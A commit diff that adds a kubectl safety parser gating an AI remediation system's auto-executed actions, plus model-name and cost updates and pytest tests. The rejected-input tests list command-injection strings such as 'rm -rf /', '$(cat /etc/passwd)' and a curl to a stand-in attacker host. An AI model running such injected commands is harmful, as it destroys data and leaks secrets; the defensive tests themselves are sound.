fix(flywheel): unblock action safety and Claude fallback
All checks were successful
CD Pipeline / build-and-deploy (push) Successful in 9m45s
All checks were successful
CD Pipeline / build-and-deploy (push) Successful in 9m45s
This commit is contained in:
@@ -86,16 +86,16 @@
|
|||||||
"endpoint": "https://api.anthropic.com/v1",
|
"endpoint": "https://api.anthropic.com/v1",
|
||||||
"api_path": "/messages",
|
"api_path": "/messages",
|
||||||
"models": {
|
"models": {
|
||||||
"default": "claude-3-haiku-20240307",
|
"default": "claude-haiku-4-5-20251001",
|
||||||
"rca": "claude-3-haiku-20240307",
|
"rca": "claude-haiku-4-5-20251001",
|
||||||
"summary": "claude-3-haiku-20240307"
|
"summary": "claude-haiku-4-5-20251001"
|
||||||
},
|
},
|
||||||
"options": {
|
"options": {
|
||||||
"max_tokens": 2048
|
"max_tokens": 2048
|
||||||
},
|
},
|
||||||
"timeout_seconds": 30,
|
"timeout_seconds": 30,
|
||||||
"cost": {
|
"cost": {
|
||||||
"per_1k_tokens": 0.008,
|
"per_1k_tokens": 0.005,
|
||||||
"currency": "USD"
|
"currency": "USD"
|
||||||
},
|
},
|
||||||
"auth": {
|
"auth": {
|
||||||
|
|||||||
373
apps/api/src/services/action_parser.py
Normal file
373
apps/api/src/services/action_parser.py
Normal file
@@ -0,0 +1,373 @@
|
|||||||
|
"""
|
||||||
|
Structured safety parser for remediation actions.
|
||||||
|
|
||||||
|
SPF-2 replaces the old single-regex kubectl whitelist with a small token parser.
|
||||||
|
The parser intentionally supports only the kubectl forms AWOOOI can safely
|
||||||
|
auto-execute; anything outside that grammar falls back to human review.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import shlex
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from enum import StrEnum
|
||||||
|
|
||||||
|
KUBECTL_MAX_LEN = 500
|
||||||
|
|
||||||
|
_FORBIDDEN_RAW_CHARS = frozenset("\n\r\t\f\v;&|<>`$")
|
||||||
|
_SAFE_TOKEN_CHARS = frozenset(
|
||||||
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||||
|
"abcdefghijklmnopqrstuvwxyz"
|
||||||
|
"0123456789"
|
||||||
|
"-_./:=,@"
|
||||||
|
)
|
||||||
|
|
||||||
|
_RESOURCE_ALIASES: dict[str, str] = {
|
||||||
|
"deploy": "deployment",
|
||||||
|
"deployment": "deployment",
|
||||||
|
"deployments": "deployment",
|
||||||
|
"ds": "daemonset",
|
||||||
|
"daemonset": "daemonset",
|
||||||
|
"daemonsets": "daemonset",
|
||||||
|
"pod": "pod",
|
||||||
|
"pods": "pod",
|
||||||
|
"po": "pod",
|
||||||
|
"service": "service",
|
||||||
|
"services": "service",
|
||||||
|
"svc": "service",
|
||||||
|
"statefulset": "statefulset",
|
||||||
|
"statefulsets": "statefulset",
|
||||||
|
"sts": "statefulset",
|
||||||
|
"configmap": "configmap",
|
||||||
|
"configmaps": "configmap",
|
||||||
|
"cm": "configmap",
|
||||||
|
"node": "node",
|
||||||
|
"nodes": "node",
|
||||||
|
}
|
||||||
|
|
||||||
|
_ROLLING_RESOURCES = frozenset({"deployment", "statefulset", "daemonset"})
|
||||||
|
_SCALABLE_RESOURCES = frozenset({"deployment", "statefulset"})
|
||||||
|
_READONLY_VERBS = frozenset({"get", "describe", "logs", "top", "version"})
|
||||||
|
_MUTATING_VERBS = frozenset({"rollout", "scale", "delete"})
|
||||||
|
|
||||||
|
|
||||||
|
class ActionKind(StrEnum):
|
||||||
|
"""High-level parsed action kind."""
|
||||||
|
|
||||||
|
READONLY = "readonly"
|
||||||
|
ROLLOUT = "rollout"
|
||||||
|
SCALE = "scale"
|
||||||
|
DELETE_POD = "delete_pod"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class ParsedKubectlAction:
|
||||||
|
"""Parsed kubectl action with safety decision."""
|
||||||
|
|
||||||
|
ok: bool
|
||||||
|
reason: str
|
||||||
|
kind: ActionKind | None = None
|
||||||
|
verb: str | None = None
|
||||||
|
subverb: str | None = None
|
||||||
|
resource_type: str | None = None
|
||||||
|
resource_name: str | None = None
|
||||||
|
namespace: str | None = None
|
||||||
|
flags: tuple[str, ...] = field(default_factory=tuple)
|
||||||
|
|
||||||
|
|
||||||
|
def is_safe_kubectl_action(command: str) -> bool:
|
||||||
|
"""Return True when the command is in the allowed kubectl action grammar."""
|
||||||
|
|
||||||
|
return parse_kubectl_action(command).ok
|
||||||
|
|
||||||
|
|
||||||
|
def parse_kubectl_action(command: str) -> ParsedKubectlAction:
|
||||||
|
"""Parse and validate a kubectl command for auto-execute safety.
|
||||||
|
|
||||||
|
The grammar is intentionally narrow:
|
||||||
|
- readonly: get/describe/logs/top/version with bounded, known-safe flags
|
||||||
|
- rollout: rollout restart/undo on workload resources
|
||||||
|
- scale: scale deployment/statefulset to a positive replica count
|
||||||
|
- delete: delete one pod by name only
|
||||||
|
"""
|
||||||
|
|
||||||
|
command = (command or "").strip()
|
||||||
|
if not command:
|
||||||
|
return _reject("empty")
|
||||||
|
if len(command) > KUBECTL_MAX_LEN:
|
||||||
|
return _reject("too_long")
|
||||||
|
if any(ch in command for ch in _FORBIDDEN_RAW_CHARS):
|
||||||
|
return _reject("forbidden_shell_metachar")
|
||||||
|
if any(ord(ch) < 32 or ord(ch) > 126 for ch in command):
|
||||||
|
return _reject("non_ascii_or_control")
|
||||||
|
|
||||||
|
try:
|
||||||
|
tokens = shlex.split(command, posix=True)
|
||||||
|
except ValueError:
|
||||||
|
return _reject("invalid_shell_syntax")
|
||||||
|
|
||||||
|
if not tokens or tokens[0] != "kubectl":
|
||||||
|
return _reject("not_kubectl")
|
||||||
|
if any(not token or not set(token) <= _SAFE_TOKEN_CHARS for token in tokens):
|
||||||
|
return _reject("invalid_token_chars")
|
||||||
|
|
||||||
|
body = tokens[1:]
|
||||||
|
namespace, body, namespace_flags = _consume_namespace_flags(body)
|
||||||
|
if not body:
|
||||||
|
return _reject("missing_verb")
|
||||||
|
|
||||||
|
verb = body[0]
|
||||||
|
rest = body[1:]
|
||||||
|
if verb in _READONLY_VERBS:
|
||||||
|
return _parse_readonly(verb, rest, namespace, namespace_flags)
|
||||||
|
if verb == "rollout":
|
||||||
|
return _parse_rollout(rest, namespace, namespace_flags)
|
||||||
|
if verb == "scale":
|
||||||
|
return _parse_scale(rest, namespace, namespace_flags)
|
||||||
|
if verb == "delete":
|
||||||
|
return _parse_delete(rest, namespace, namespace_flags)
|
||||||
|
return _reject("unsupported_verb")
|
||||||
|
|
||||||
|
|
||||||
|
def _reject(reason: str) -> ParsedKubectlAction:
|
||||||
|
return ParsedKubectlAction(ok=False, reason=reason)
|
||||||
|
|
||||||
|
|
||||||
|
def _consume_namespace_flags(tokens: list[str]) -> tuple[str | None, list[str], list[str]]:
|
||||||
|
namespace: str | None = None
|
||||||
|
remaining: list[str] = []
|
||||||
|
namespace_flags: list[str] = []
|
||||||
|
i = 0
|
||||||
|
while i < len(tokens):
|
||||||
|
token = tokens[i]
|
||||||
|
if token in {"-n", "--namespace"}:
|
||||||
|
if i + 1 >= len(tokens):
|
||||||
|
remaining.append(token)
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
namespace = tokens[i + 1]
|
||||||
|
namespace_flags.extend([token, tokens[i + 1]])
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
if token.startswith("--namespace="):
|
||||||
|
namespace = token.split("=", 1)[1]
|
||||||
|
namespace_flags.append(token)
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
remaining.append(token)
|
||||||
|
i += 1
|
||||||
|
return namespace, remaining, namespace_flags
|
||||||
|
|
||||||
|
|
||||||
|
def _normalize_resource(value: str) -> str:
|
||||||
|
return _RESOURCE_ALIASES.get(value.lower(), value.lower())
|
||||||
|
|
||||||
|
|
||||||
|
def _split_resource_ref(tokens: list[str]) -> tuple[str | None, str | None, list[str]]:
|
||||||
|
if not tokens:
|
||||||
|
return None, None, []
|
||||||
|
|
||||||
|
first = tokens[0]
|
||||||
|
if "/" in first:
|
||||||
|
resource_type, resource_name = first.split("/", 1)
|
||||||
|
return _normalize_resource(resource_type), resource_name, tokens[1:]
|
||||||
|
|
||||||
|
resource_type = _normalize_resource(first)
|
||||||
|
if len(tokens) >= 2 and not tokens[1].startswith("-"):
|
||||||
|
return resource_type, tokens[1], tokens[2:]
|
||||||
|
return resource_type, None, tokens[1:]
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_readonly(
|
||||||
|
verb: str,
|
||||||
|
tokens: list[str],
|
||||||
|
namespace: str | None,
|
||||||
|
namespace_flags: list[str],
|
||||||
|
) -> ParsedKubectlAction:
|
||||||
|
if verb == "version":
|
||||||
|
if tokens:
|
||||||
|
return _reject("version_disallows_args")
|
||||||
|
return ParsedKubectlAction(
|
||||||
|
ok=True,
|
||||||
|
reason="ok",
|
||||||
|
kind=ActionKind.READONLY,
|
||||||
|
verb=verb,
|
||||||
|
namespace=namespace,
|
||||||
|
flags=tuple(namespace_flags),
|
||||||
|
)
|
||||||
|
|
||||||
|
resource_type, resource_name, rest = _split_resource_ref(tokens)
|
||||||
|
if not resource_type:
|
||||||
|
return _reject("missing_readonly_resource")
|
||||||
|
|
||||||
|
allowed_flags = {
|
||||||
|
"--all-namespaces",
|
||||||
|
"--no-headers",
|
||||||
|
"--output",
|
||||||
|
"-o",
|
||||||
|
"--previous",
|
||||||
|
"--show-labels",
|
||||||
|
"--since",
|
||||||
|
"--since-time",
|
||||||
|
"--tail",
|
||||||
|
"--timestamps",
|
||||||
|
"--selector",
|
||||||
|
"-l",
|
||||||
|
"--container",
|
||||||
|
"-c",
|
||||||
|
"--watch",
|
||||||
|
"-w",
|
||||||
|
}
|
||||||
|
if not _flags_allowed(rest, allowed_flags):
|
||||||
|
return _reject("unsupported_readonly_flag")
|
||||||
|
|
||||||
|
return ParsedKubectlAction(
|
||||||
|
ok=True,
|
||||||
|
reason="ok",
|
||||||
|
kind=ActionKind.READONLY,
|
||||||
|
verb=verb,
|
||||||
|
resource_type=resource_type,
|
||||||
|
resource_name=resource_name,
|
||||||
|
namespace=namespace,
|
||||||
|
flags=tuple(namespace_flags + rest),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_rollout(
|
||||||
|
tokens: list[str],
|
||||||
|
namespace: str | None,
|
||||||
|
namespace_flags: list[str],
|
||||||
|
) -> ParsedKubectlAction:
|
||||||
|
if len(tokens) < 2:
|
||||||
|
return _reject("rollout_missing_args")
|
||||||
|
subverb = tokens[0]
|
||||||
|
if subverb not in {"restart", "undo"}:
|
||||||
|
return _reject("unsupported_rollout_subverb")
|
||||||
|
|
||||||
|
resource_type, resource_name, rest = _split_resource_ref(tokens[1:])
|
||||||
|
if resource_type not in _ROLLING_RESOURCES or not resource_name:
|
||||||
|
return _reject("invalid_rollout_resource")
|
||||||
|
if rest:
|
||||||
|
return _reject("unsupported_rollout_flag")
|
||||||
|
|
||||||
|
return ParsedKubectlAction(
|
||||||
|
ok=True,
|
||||||
|
reason="ok",
|
||||||
|
kind=ActionKind.ROLLOUT,
|
||||||
|
verb="rollout",
|
||||||
|
subverb=subverb,
|
||||||
|
resource_type=resource_type,
|
||||||
|
resource_name=resource_name,
|
||||||
|
namespace=namespace,
|
||||||
|
flags=tuple(namespace_flags),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_scale(
|
||||||
|
tokens: list[str],
|
||||||
|
namespace: str | None,
|
||||||
|
namespace_flags: list[str],
|
||||||
|
) -> ParsedKubectlAction:
|
||||||
|
resource_type, resource_name, rest = _split_resource_ref(tokens)
|
||||||
|
if resource_type not in _SCALABLE_RESOURCES or not resource_name:
|
||||||
|
return _reject("invalid_scale_resource")
|
||||||
|
|
||||||
|
replicas: int | None = None
|
||||||
|
remaining_flags: list[str] = []
|
||||||
|
i = 0
|
||||||
|
while i < len(rest):
|
||||||
|
token = rest[i]
|
||||||
|
if token == "--replicas":
|
||||||
|
if i + 1 >= len(rest):
|
||||||
|
return _reject("replicas_missing_value")
|
||||||
|
replicas = _parse_positive_int(rest[i + 1])
|
||||||
|
remaining_flags.extend([token, rest[i + 1]])
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
if token.startswith("--replicas="):
|
||||||
|
replicas = _parse_positive_int(token.split("=", 1)[1])
|
||||||
|
remaining_flags.append(token)
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
return _reject("unsupported_scale_flag")
|
||||||
|
|
||||||
|
if replicas is None:
|
||||||
|
return _reject("replicas_required")
|
||||||
|
if replicas < 1:
|
||||||
|
return _reject("replicas_must_be_positive")
|
||||||
|
|
||||||
|
return ParsedKubectlAction(
|
||||||
|
ok=True,
|
||||||
|
reason="ok",
|
||||||
|
kind=ActionKind.SCALE,
|
||||||
|
verb="scale",
|
||||||
|
resource_type=resource_type,
|
||||||
|
resource_name=resource_name,
|
||||||
|
namespace=namespace,
|
||||||
|
flags=tuple(namespace_flags + remaining_flags),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_delete(
|
||||||
|
tokens: list[str],
|
||||||
|
namespace: str | None,
|
||||||
|
namespace_flags: list[str],
|
||||||
|
) -> ParsedKubectlAction:
|
||||||
|
resource_type, resource_name, rest = _split_resource_ref(tokens)
|
||||||
|
if resource_type != "pod" or not resource_name:
|
||||||
|
return _reject("delete_only_allows_single_pod")
|
||||||
|
if rest:
|
||||||
|
return _reject("unsupported_delete_flag")
|
||||||
|
if resource_name in {"--all", "all"}:
|
||||||
|
return _reject("delete_all_disallowed")
|
||||||
|
|
||||||
|
return ParsedKubectlAction(
|
||||||
|
ok=True,
|
||||||
|
reason="ok",
|
||||||
|
kind=ActionKind.DELETE_POD,
|
||||||
|
verb="delete",
|
||||||
|
resource_type=resource_type,
|
||||||
|
resource_name=resource_name,
|
||||||
|
namespace=namespace,
|
||||||
|
flags=tuple(namespace_flags),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_positive_int(value: str) -> int:
|
||||||
|
if not value.isdigit():
|
||||||
|
return -1
|
||||||
|
return int(value)
|
||||||
|
|
||||||
|
|
||||||
|
def _flags_allowed(tokens: list[str], allowed_flags: set[str]) -> bool:
|
||||||
|
i = 0
|
||||||
|
while i < len(tokens):
|
||||||
|
token = tokens[i]
|
||||||
|
if not token.startswith("-"):
|
||||||
|
return False
|
||||||
|
|
||||||
|
flag = token.split("=", 1)[0]
|
||||||
|
if flag not in allowed_flags:
|
||||||
|
return False
|
||||||
|
if "=" in token:
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
requires_value = flag in {
|
||||||
|
"--output",
|
||||||
|
"-o",
|
||||||
|
"--since",
|
||||||
|
"--since-time",
|
||||||
|
"--tail",
|
||||||
|
"--selector",
|
||||||
|
"-l",
|
||||||
|
"--container",
|
||||||
|
"-c",
|
||||||
|
}
|
||||||
|
if requires_value:
|
||||||
|
if i + 1 >= len(tokens) or tokens[i + 1].startswith("-"):
|
||||||
|
return False
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
i += 1
|
||||||
|
return True
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
"""
|
"""
|
||||||
Claude Provider - Phase 24 ADR-052
|
Claude Provider - Phase 24 ADR-052
|
||||||
====================================
|
====================================
|
||||||
Anthropic Claude API (claude-3-haiku, Tool Use 強制 JSON)
|
Anthropic Claude API (Claude Haiku 4.5, Tool Use 強制 JSON)
|
||||||
|
|
||||||
搬移自: openclaw.py _call_claude (L474-550)
|
搬移自: openclaw.py _call_claude (L474-550)
|
||||||
特性: 最強推理、昂貴、CRITICAL/DELETE 強制使用
|
特性: 最強推理、昂貴、CRITICAL/DELETE 強制使用
|
||||||
@@ -18,7 +18,7 @@ import httpx
|
|||||||
import structlog
|
import structlog
|
||||||
|
|
||||||
from src.core.config import get_settings
|
from src.core.config import get_settings
|
||||||
from src.services.ai_providers.interfaces import AIProvider, AIResult, is_provider_enabled_by_env
|
from src.services.ai_providers.interfaces import AIResult, is_provider_enabled_by_env
|
||||||
from src.services.model_registry import get_model_registry
|
from src.services.model_registry import get_model_registry
|
||||||
|
|
||||||
logger = structlog.get_logger(__name__)
|
logger = structlog.get_logger(__name__)
|
||||||
@@ -125,8 +125,8 @@ class ClaudeProvider:
|
|||||||
input_tokens = usage.get("input_tokens", 0)
|
input_tokens = usage.get("input_tokens", 0)
|
||||||
output_tokens = usage.get("output_tokens", 0)
|
output_tokens = usage.get("output_tokens", 0)
|
||||||
total_tokens = input_tokens + output_tokens
|
total_tokens = input_tokens + output_tokens
|
||||||
# Claude Haiku: Input $0.25/1M, Output $1.25/1M
|
# Claude Haiku 4.5: Input $1/1M, Output $5/1M
|
||||||
cost_usd = (input_tokens * 0.00000025) + (output_tokens * 0.00000125)
|
cost_usd = (input_tokens * 0.000001) + (output_tokens * 0.000005)
|
||||||
|
|
||||||
# 從 Tool Use 回應中提取 JSON
|
# 從 Tool Use 回應中提取 JSON
|
||||||
for block in data.get("content", []):
|
for block in data.get("content", []):
|
||||||
|
|||||||
@@ -33,6 +33,7 @@ from src.core.config import settings
|
|||||||
from src.core.redis_client import get_redis
|
from src.core.redis_client import get_redis
|
||||||
from src.models.incident import Incident
|
from src.models.incident import Incident
|
||||||
from src.models.playbook import SymptomPattern
|
from src.models.playbook import SymptomPattern
|
||||||
|
from src.services.action_parser import parse_kubectl_action
|
||||||
from src.services.auto_approve import get_auto_approve_policy
|
from src.services.auto_approve import get_auto_approve_policy
|
||||||
from src.services.openclaw import get_openclaw
|
from src.services.openclaw import get_openclaw
|
||||||
from src.services.playbook_service import get_playbook_service
|
from src.services.playbook_service import get_playbook_service
|
||||||
@@ -52,19 +53,6 @@ def _fire_and_forget(coro) -> asyncio.Task:
|
|||||||
task.add_done_callback(_background_tasks.discard)
|
task.add_done_callback(_background_tasks.discard)
|
||||||
return task
|
return task
|
||||||
|
|
||||||
# P1 fix 2026-04-11: kubectl action dangerous char whitelist
|
|
||||||
# 2026-04-25 ogt + Claude Sonnet 4.6: 補允許 K8s resource type keyword
|
|
||||||
# LLM 常輸出 "kubectl rollout restart deployment clickhouse" (含 deployment 關鍵字)
|
|
||||||
# 原 pattern 只允許 verb 後直接接名稱,導致 _action_safe=False → 全部被攔截 → 飛輪 0
|
|
||||||
# 修法:在名稱前加可選的 resource type group (deployment/pod/service/...)
|
|
||||||
import re as _re_module
|
|
||||||
_ALLOWED_KUBECTL_PATTERN = _re_module.compile(
|
|
||||||
r"^kubectl\s+(rollout restart|rollout undo|scale|delete pod|get|describe|logs)"
|
|
||||||
r"\s+(?:(?:deployment|pod|pods|service|services|statefulset|sts|daemonset|ds|svc|configmap|cm)\s+)?"
|
|
||||||
r"[a-zA-Z0-9_./-]+(\s+(-n|--namespace)\s+[a-zA-Z0-9_-]+)?$",
|
|
||||||
_re_module.ASCII,
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
# =============================================================================
|
# =============================================================================
|
||||||
# Phase 31 (ADR-067 2026-04-10): Log 異常摘要 — NemoTron deepseek-r1:14b
|
# Phase 31 (ADR-067 2026-04-10): Log 異常摘要 — NemoTron deepseek-r1:14b
|
||||||
@@ -1944,15 +1932,17 @@ class DecisionManager:
|
|||||||
# 另外:若 target 等於 alertname,代表 LLM 把告警名稱填入 deployment_name,也拒絕
|
# 另外:若 target 等於 alertname,代表 LLM 把告警名稱填入 deployment_name,也拒絕
|
||||||
_alertname = incident.signals[0].labels.get("alertname", "") if incident.signals else ""
|
_alertname = incident.signals[0].labels.get("alertname", "") if incident.signals else ""
|
||||||
_target_is_alertname = bool(_alertname and _target == _alertname)
|
_target_is_alertname = bool(_alertname and _target == _alertname)
|
||||||
# P1 fix 2026-04-11: kubectl action 危險字元白名單 — 防止 && || ; > | 注入
|
# SPF-2: structured kubectl parser replaces the old single-regex guard.
|
||||||
_action_safe = bool(_ALLOWED_KUBECTL_PATTERN.match(action.strip()))
|
_action_parse = parse_kubectl_action(action.strip())
|
||||||
|
_action_safe = _action_parse.ok
|
||||||
if "unknown" in action or _re.search(r"[<{][^>}]+[>}]", action) or _target_is_alertname or not _action_safe:
|
if "unknown" in action or _re.search(r"[<{][^>}]+[>}]", action) or _target_is_alertname or not _action_safe:
|
||||||
logger.warning(
|
logger.warning(
|
||||||
"auto_execute_blocked_unresolved_placeholder",
|
"auto_execute_blocked_unresolved_placeholder",
|
||||||
incident_id=incident.incident_id,
|
incident_id=incident.incident_id,
|
||||||
action=action,
|
action=action,
|
||||||
target=_target,
|
target=_target,
|
||||||
reason="action 含未解析的 placeholder、unknown、target==alertname、或危險字元,拒絕執行",
|
parser_reason=_action_parse.reason,
|
||||||
|
reason="action 含未解析的 placeholder、unknown、target==alertname、或未通過 kubectl action parser,拒絕執行",
|
||||||
)
|
)
|
||||||
# Safety guard 攔截 → 降級為人工審核,而非「修復失敗」
|
# Safety guard 攔截 → 降級為人工審核,而非「修復失敗」
|
||||||
# 2026-04-11 Claude Sonnet 4.6: 不發 ❌ 失敗訊息,改發人工審核卡片
|
# 2026-04-11 Claude Sonnet 4.6: 不發 ❌ 失敗訊息,改發人工審核卡片
|
||||||
|
|||||||
@@ -137,9 +137,9 @@ class ModelRegistry:
|
|||||||
},
|
},
|
||||||
"claude": {
|
"claude": {
|
||||||
"models": {
|
"models": {
|
||||||
"default": "claude-3-haiku-20240307",
|
"default": "claude-haiku-4-5-20251001",
|
||||||
"rca": "claude-3-haiku-20240307",
|
"rca": "claude-haiku-4-5-20251001",
|
||||||
"summary": "claude-3-haiku-20240307",
|
"summary": "claude-haiku-4-5-20251001",
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
# 2026-03-29 ogt: P2-3 加入 NVIDIA (ADR-036)
|
# 2026-03-29 ogt: P2-3 加入 NVIDIA (ADR-036)
|
||||||
@@ -191,7 +191,7 @@ class ModelRegistry:
|
|||||||
fallback_map = {
|
fallback_map = {
|
||||||
"ollama": "qwen2.5:7b-instruct",
|
"ollama": "qwen2.5:7b-instruct",
|
||||||
"gemini": "gemini-2.0-flash",
|
"gemini": "gemini-2.0-flash",
|
||||||
"claude": "claude-3-haiku-20240307",
|
"claude": "claude-haiku-4-5-20251001",
|
||||||
}
|
}
|
||||||
model = fallback_map.get(provider, provider)
|
model = fallback_map.get(provider, provider)
|
||||||
logger.warning(
|
logger.warning(
|
||||||
|
|||||||
@@ -135,7 +135,7 @@ async def probe_gemini_version() -> ProviderVersionInfo:
|
|||||||
# =============================================================================
|
# =============================================================================
|
||||||
|
|
||||||
async def probe_claude_version() -> ProviderVersionInfo:
|
async def probe_claude_version() -> ProviderVersionInfo:
|
||||||
"""Claude:model name 即版本識別(例如 "claude-sonnet-4-6")
|
"""Claude:model name 即版本識別(例如 "claude-haiku-4-5-20251001")
|
||||||
|
|
||||||
Anthropic 沒有 list models endpoint(截至 2026-04),
|
Anthropic 沒有 list models endpoint(截至 2026-04),
|
||||||
以設定中的 claude model name 作為版本字串。
|
以設定中的 claude model name 作為版本字串。
|
||||||
@@ -151,9 +151,7 @@ async def probe_claude_version() -> ProviderVersionInfo:
|
|||||||
if not api_key:
|
if not api_key:
|
||||||
raise RuntimeError("CLAUDE_API_KEY not configured")
|
raise RuntimeError("CLAUDE_API_KEY not configured")
|
||||||
|
|
||||||
# Claude model name 從 AI_FALLBACK_ORDER 的 claude provider 取
|
model_name = "claude-haiku-4-5-20251001"
|
||||||
# 直接使用已知 model name 作為版本(Claude 不提供公開版本 API)
|
|
||||||
model_name = "claude-sonnet-4-6" # 與 settings 中 ai_router 的 claude model 對齊
|
|
||||||
|
|
||||||
return ProviderVersionInfo(
|
return ProviderVersionInfo(
|
||||||
provider="claude",
|
provider="claude",
|
||||||
@@ -249,7 +247,7 @@ async def probe_all_providers() -> list[ProviderVersionInfo]:
|
|||||||
|
|
||||||
results: list[ProviderVersionInfo] = []
|
results: list[ProviderVersionInfo] = []
|
||||||
provider_labels = ["ollama", "ollama_188", "gemini", "claude", "openclaw_nemo"]
|
provider_labels = ["ollama", "ollama_188", "gemini", "claude", "openclaw_nemo"]
|
||||||
for label, outcome in zip(provider_labels, raw):
|
for label, outcome in zip(provider_labels, raw, strict=True):
|
||||||
if isinstance(outcome, ProviderVersionInfo):
|
if isinstance(outcome, ProviderVersionInfo):
|
||||||
results.append(outcome)
|
results.append(outcome)
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -124,7 +124,7 @@ _GEMINI_ENDPOINT = OllamaEndpoint(
|
|||||||
_CLAUDE_ENDPOINT = OllamaEndpoint(
|
_CLAUDE_ENDPOINT = OllamaEndpoint(
|
||||||
url="",
|
url="",
|
||||||
provider_name="claude",
|
provider_name="claude",
|
||||||
model="claude-3-5-haiku-20241022",
|
model="claude-haiku-4-5-20251001",
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -552,7 +552,7 @@ class OpenClawService:
|
|||||||
"content-type": "application/json",
|
"content-type": "application/json",
|
||||||
},
|
},
|
||||||
json={
|
json={
|
||||||
"model": "claude-3-haiku-20240307",
|
"model": get_model_registry().get_model("claude", "rca"),
|
||||||
"max_tokens": 2048,
|
"max_tokens": 2048,
|
||||||
"messages": [{"role": "user", "content": prompt}],
|
"messages": [{"role": "user", "content": prompt}],
|
||||||
"tools": [{
|
"tools": [{
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ logger = structlog.get_logger(__name__)
|
|||||||
COST_PER_1K_TOKENS = {
|
COST_PER_1K_TOKENS = {
|
||||||
"ollama": 0.0, # 本地免費
|
"ollama": 0.0, # 本地免費
|
||||||
"gemini": 0.001, # Gemini 1.5 Flash
|
"gemini": 0.001, # Gemini 1.5 Flash
|
||||||
"claude": 0.008, # Claude 3 Haiku
|
"claude": 0.005, # Claude Haiku 4.5 conservative output-side estimate
|
||||||
}
|
}
|
||||||
|
|
||||||
# 預算閾值 (from models.json monitoring.alerts)
|
# 預算閾值 (from models.json monitoring.alerts)
|
||||||
|
|||||||
67
apps/api/tests/test_action_parser_safety.py
Normal file
67
apps/api/tests/test_action_parser_safety.py
Normal file
@@ -0,0 +1,67 @@
|
|||||||
|
"""
|
||||||
|
SPF-2 structured action parser safety tests.
|
||||||
|
|
||||||
|
These tests cover the auto-execute kubectl grammar without mocking services.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
from src.services.action_parser import (
|
||||||
|
ActionKind,
|
||||||
|
is_safe_kubectl_action,
|
||||||
|
parse_kubectl_action,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize("cmd", [
|
||||||
|
"kubectl rollout restart deployment/awoooi-api -n awoooi-prod",
|
||||||
|
"kubectl rollout restart deployment awoooi-api -n awoooi-prod",
|
||||||
|
"kubectl -n awoooi-prod rollout restart deploy/awoooi-api",
|
||||||
|
"kubectl scale deployment awoooi-api --replicas=3 -n awoooi-prod",
|
||||||
|
"kubectl delete pod awoooi-api-7d6b776f78-4sgjl -n awoooi-prod",
|
||||||
|
"kubectl get pods -n awoooi-prod",
|
||||||
|
"kubectl describe node k3s-node-01",
|
||||||
|
"kubectl logs -n awoooi-prod --tail=100 --selector=app=awoooi-api",
|
||||||
|
"kubectl top pods -n awoooi-prod",
|
||||||
|
])
|
||||||
|
def test_safe_kubectl_actions_pass(cmd):
|
||||||
|
assert is_safe_kubectl_action(cmd) is True
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize("cmd", [
|
||||||
|
"kubectl get pods\nrm -rf /",
|
||||||
|
"kubectl get pods -n prod $(echo injected)",
|
||||||
|
"kubectl rollout restart deployment/$(cat /etc/passwd)",
|
||||||
|
"kubectl rollout restart deployment/awoooi-api; rm -rf / -n prod",
|
||||||
|
"kubectl get pods -n prod && curl http://attacker.invalid",
|
||||||
|
"kubectl delete deployment awoooi-api -n awoooi-prod",
|
||||||
|
"kubectl delete pods --all -n awoooi-prod",
|
||||||
|
"kubectl scale deployment awoooi-api --replicas=0 -n awoooi-prod",
|
||||||
|
"kubectl patch deployment awoooi-api -p spec -n awoooi-prod",
|
||||||
|
"ssh 192.168.0.188 docker restart openclaw",
|
||||||
|
])
|
||||||
|
def test_unsafe_kubectl_actions_fail(cmd):
|
||||||
|
parsed = parse_kubectl_action(cmd)
|
||||||
|
assert parsed.ok is False, parsed
|
||||||
|
|
||||||
|
|
||||||
|
def test_parser_returns_structured_fields():
|
||||||
|
parsed = parse_kubectl_action(
|
||||||
|
"kubectl -n awoooi-prod rollout restart deployment/awoooi-api"
|
||||||
|
)
|
||||||
|
|
||||||
|
assert parsed.ok is True
|
||||||
|
assert parsed.kind is ActionKind.ROLLOUT
|
||||||
|
assert parsed.verb == "rollout"
|
||||||
|
assert parsed.subverb == "restart"
|
||||||
|
assert parsed.resource_type == "deployment"
|
||||||
|
assert parsed.resource_name == "awoooi-api"
|
||||||
|
assert parsed.namespace == "awoooi-prod"
|
||||||
|
|
||||||
|
|
||||||
|
def test_parser_rejects_newline_without_regex_backtracking():
|
||||||
|
cmd = "kubectl get pods" + (" " * 400) + "\nrm -rf /"
|
||||||
|
parsed = parse_kubectl_action(cmd)
|
||||||
|
|
||||||
|
assert parsed.ok is False
|
||||||
|
assert parsed.reason == "forbidden_shell_metachar"
|
||||||
@@ -117,7 +117,7 @@ async def test_router_failover_fallback_chain_converted():
|
|||||||
fallback=[
|
fallback=[
|
||||||
("ollama_188", "qwen2.5:7b-instruct"),
|
("ollama_188", "qwen2.5:7b-instruct"),
|
||||||
("nemotron", "nvidia/nemotron-mini-4b-instruct"),
|
